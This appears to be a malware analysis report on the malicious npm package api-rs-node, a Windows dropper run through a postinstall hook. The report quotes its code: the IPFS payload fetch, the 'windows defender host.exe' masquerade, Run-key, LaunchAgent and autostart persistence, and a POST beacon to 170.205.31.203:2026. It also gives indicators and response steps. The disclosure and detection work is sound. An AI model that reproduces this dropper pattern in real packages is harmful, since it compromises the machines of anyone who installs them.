api-rs-node@4.3.1 sells itself as a "high-performance Rust bridge"; it is a 292-line Windows dropper wrapped in a polished README, and its tarball ships the author's own filesystem layout by accident. An earlier draft went out 5½ hours before as @devcarron/clob@2.73.0 from a separate gmail — same author, same payload, proof in that post.
Stage 1: clob.js
The README is a polished Rust-bridge marketing page down to a benchmark table, but its install line still reads npm install your-package-name; the package.json carries no author, no license, no keywords, and one postinstall script:
{
"name": "api-rs-node",
"version": "4.3.1",
"description": "High-performance Rust modules for Node.js with native speed and clean DX.",
"scripts": { "postinstall": "node clob.js" },
"main": "clob.js"
}
clob.js is wired for Windows only; the mac and Linux URLs are still null with TODO comments:
const WIN_CID = 'bafybeif3zkapj364ofnrvbty7oj5h5ufpxlp4s62usk3ulxrru35e3gssa';
const MAC_URL = null; // TODO: set macOS binary URL
const LINUX_URL = null; // TODO: set Linux binary URL
It tries four IPFS gateways for WIN_CID in sequence, writes the result to %LOCALAPPDATA%\windows defender host.exe, registers persistence on all three platforms (the mac and Linux branches register and then bail with no payload), then POSTs the host's public IP — fetched from api.ipify.org — to a hardcoded IPv4 on a port that doubles as the year.
Gateways:
violet-tricky-quelea-562.mypinata.cloud(private Pinata, optionalPINATA_GATEWAY_TOKEN)cloudflare-ipfs.comgateway.pinata.cloudipfs.io
Persistence:
- Windows: hidden VBS launcher (
oShell.Run "...exe", 0, False) +HKCU\…\Run - macOS:
~/Library/LaunchAgents/com.clob.agent.plistwithRunAtLoad=true - Linux:
~/.config/autostart/clob.desktop
const reportPath = `/api/urls?url=${encodeURIComponent(ip)}`;
const options = {
hostname: '170.205.31.203',
port: 2026,
path: reportPath,
method: 'POST',
};
Standard hidden-spawn recipe, every failure path silent:
- Spawn options:
detached: true,stdio: 'ignore',windowsHide: true,child.unref() - Failed download: silent
fs.unlinkon the partial file - Timed-out install:
process.exit(0)with no log - Every catch block:
catch (_) {}
The leak
The tarball holds seven files, not two: a config/ and logs/ directory the code never references, leftover from the author's own file-explorer tool. config/meta_data.json:
{
"version": "0.2.3",
"abs_file_path_buf": "E:\\getting IP and check list\\clob-downloader\\config\\meta_data.json",
"abs_folder_path_buf_for_templates": "E:\\getting IP and check list\\clob-downloader\\config\\templates",
"all_volumes_with_information": [
{ "mount_point": "C:\\", "size": 317725863936, "total_read_bytes": 423897711616, ... },
{ "volume_name": "Programs", "mount_point": "D:\\", ... },
{ "volume_name": "Data", "mount_point": "E:\\", ... },
{ "volume_name": "Etc", "mount_point": "F:\\", ... }
],
"current_running_os": "windows",
"current_cpu_architecture": "x86_64",
"user_home_dir": "C:\\Users\\mist"
}
Publishing from E:\getting IP and check list\clob-downloader\ dragged the tool's bookkeeping along: the Windows username mist, the project's working name, a four-volume NTFS layout, and lifetime per-volume read/write byte totals — a careful dropper undone by careless packaging.
Stage 2: what the CID serves
The CID resolves to a 4 MB Windows PE32+ with its PDB path intact — a complete Tauri-style desktop app, an Axum + Hyper + Tokio server fronting a React file-explorer UI whose own config/ metadata is what leaked into the tarball.
| Field | Value |
|---|---|
| SHA-256 | 300a7dea05c2a588757010ad314fa55cb8ef3acebaa284f58a5cd0fd39bce478 |
| PDB | explr_server.pdb |
| PDB GUID | cd195463-cbd6-4917-a75d-49b312738bda |
| Build timestamp | 2026-05-25T08:28:35Z (nine hours before the tarball) |
| Toolchain | MSVC 14.44, no packer, full Rust crate paths in place |
Server surface:
| Field | Value |
|---|---|
| Startup banner | Explr web server listening on http://… |
| Routes | /api/invoke and /api/download |
| Auth | Authorization: Bearer … |
| Required env vars | HOST, PORT, EXPLR_UI, AUTH_TOKEN |
| Missing-config behaviour | errors Invalid HOST/PORT and exits before binding |
Remote-execution endpoints (4 of 53 invoke commands):
execute_commandexecute_command_improvedexecute_command_with_timeoutrequest_full_disk_access
Nothing in the binary indicates a stealer, and cleave's three hits are substring false positives off the React UI.
Stealer markers, all absent:
- Browser creds:
Login Data,Cookies.db,key3.db,Local State,logins.json,nss3.dll - Wallets / seeds: MetaMask, Phantom, Exodus, Atomic, Electrum,
wallet.dat, mnemonic dictionaries - Tokens: Discord, Telegram
- DPAPI:
CryptUnprotectData
False positives:
credential-access/browser/dpapionv11— a UI version string, not the DPAPI markercollection/file-targeting/filteron.seedfrom a MIME tableexfiltration/stealer/fileonFindFirstVolumeW, used to populate the drive sidebar
Surviving traits — the Tauri surface itself:
| Trait | What it caught | |
|---|---|---|
command-and-control/backdoor/control/file-manager |
Tauri *_sftp + execute_command* exposed over HTTP |
|
discovery/system/fingerprint/info |
GetSystemInfo, drive and volume enumeration |
The campaign does not close the loop
As shipped, the chain between dropper and binary never connects, leaving the realistic victim population — a publicly addressable Windows host with all four env vars exported, nothing holding port 80, running npm install — approximately empty:
- Windows-only. The mac and Linux branches exit before downloading; their persistence code is written but unreachable.
- No environment handoff. Nothing propagates
HOST,PORT,EXPLR_UI, orAUTH_TOKEN, so the server hitsInvalid HOST/PORTand exits on every launch — persistence survives, the listener does not. - NAT assumption. The beacon reports the host's public IP, which behind NAT belongs to the edge router, not the box that ran
npm install; C2 has nothing to connect back to.
Dropper traits
The Fallout report returns malicious at probability 1.0, clustering on IPFS delivery, stealth spawn, multi-platform persistence, and the Windows Defender masquerade:
| Trait | What it caught | |
|---|---|---|
command-and-control/dropper/delivery/blockchain |
Four IPFS gateways fronting one CID | |
command-and-control/dropper/execution/persistence |
Download → Run key + LaunchAgents + XDG autostart | |
command-and-control/dropper/execution/stealth-spawn |
detached:true + stdio:'ignore' + windowsHide:true + unref() co-located |
|
evasion/masquerade/identity/fabricated |
Drops as windows defender host.exe |
|
command-and-control/channel/http-beacon |
POST /api/urls?url=<ip> to 170.205.31.203:2026 |
|
command-and-control/infrastructure/ip-port |
Hardcoded IPv4 endpoint, no DNS | |
evasion/self-delete/file/script |
fs.unlink(dest, () => {}) on every failure path |
|
evasion/masquerade/identity/user-agent |
Chrome 124 UA in dropper requests | |
persistence/system/launchd/core |
LaunchAgents plist with RunAtLoad |
|
persistence/system/init/boot |
~/.config/autostart/clob.desktop |
|
persistence/login/registry/autostart |
HKCU\…\Run with VBS launcher |
Likely actor
Two api-rs-node versions went out ninety minutes apart from one fresh gmail, and the byte-identical meta_data.json ties them to the @devcarron/clob sibling published 5½ hours earlier from a different gmail — same Windows machine, same mist user, novice OPSEC paired with rising craftsmanship.
| Field | Value |
|---|---|
| Publisher | shinydv412 <shinydv412@gmail.com> |
4.3.0 published |
2026-05-25T17:36:29Z |
4.3.1 published |
2026-05-25T19:05:48Z |
| Files in tarball | 7 (clob.js, package.json, README.md, config/×2, logs/×2) |
| Sibling publisher | devcarron <devcarron@gmail.com> (@devcarron/clob@2.73.0, 2026-05-25T11:59:04Z) |
Author host (from bundled meta_data.json) |
Windows x86_64, username mist, project dir E:\getting IP and check list\clob-downloader |
Indicators
| Type | Value |
|---|---|
| Package | api-rs-node@4.3.1 (npm), also 4.3.0 |
| npm page | npmjs.com/package/api-rs-node |
| Tarball SHA-256 | 75a602995eeebbeee9c0af1e6e83f2384d5426cb64af78f4475f261add329410 |
clob.js SHA-256 |
5839ea1afa6dc1237da3a9c59668b1e4e21e5dde2d2827daecf43a83400a7023 |
package.json SHA-256 |
00ec02844d57931db3abb8011ecc9aba3fa7165c701c7a60065e1d63abe53c44 |
| C2 endpoint | 170.205.31.203:2026 (HTTP POST /api/urls?url=<public-ip>:80) |
| IPFS payload CID | bafybeif3zkapj364ofnrvbty7oj5h5ufpxlp4s62usk3ulxrru35e3gssa |
| Private gateway | violet-tricky-quelea-562.mypinata.cloud |
| Public-IP lookup | api.ipify.org |
| Dropped Windows file | %LOCALAPPDATA%\windows defender host.exe |
| Run key | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\clob |
| Windows launcher | %LOCALAPPDATA%\windows defender host-launcher.vbs |
| macOS plist | ~/Library/LaunchAgents/com.clob.agent.plist |
| Linux autostart | ~/.config/autostart/clob.desktop |
| Publisher | shinydv412 <shinydv412@gmail.com> |
Response
- Hunt npm caches, CI logs, and
%LOCALAPPDATA%(plus the mac/Linux paths above) for the dropped filenames. - In egress telemetry: outbound to
170.205.31.203:2026, toapi.ipify.org, and to the four gateways above carrying that CID. - Rotate credentials reachable by any user that ran
npm installon a Windows host that resolvedapi-rs-nodesince 2026-05-25. - Treat the CID binary as untrusted; pull it for analysis from a throwaway identity.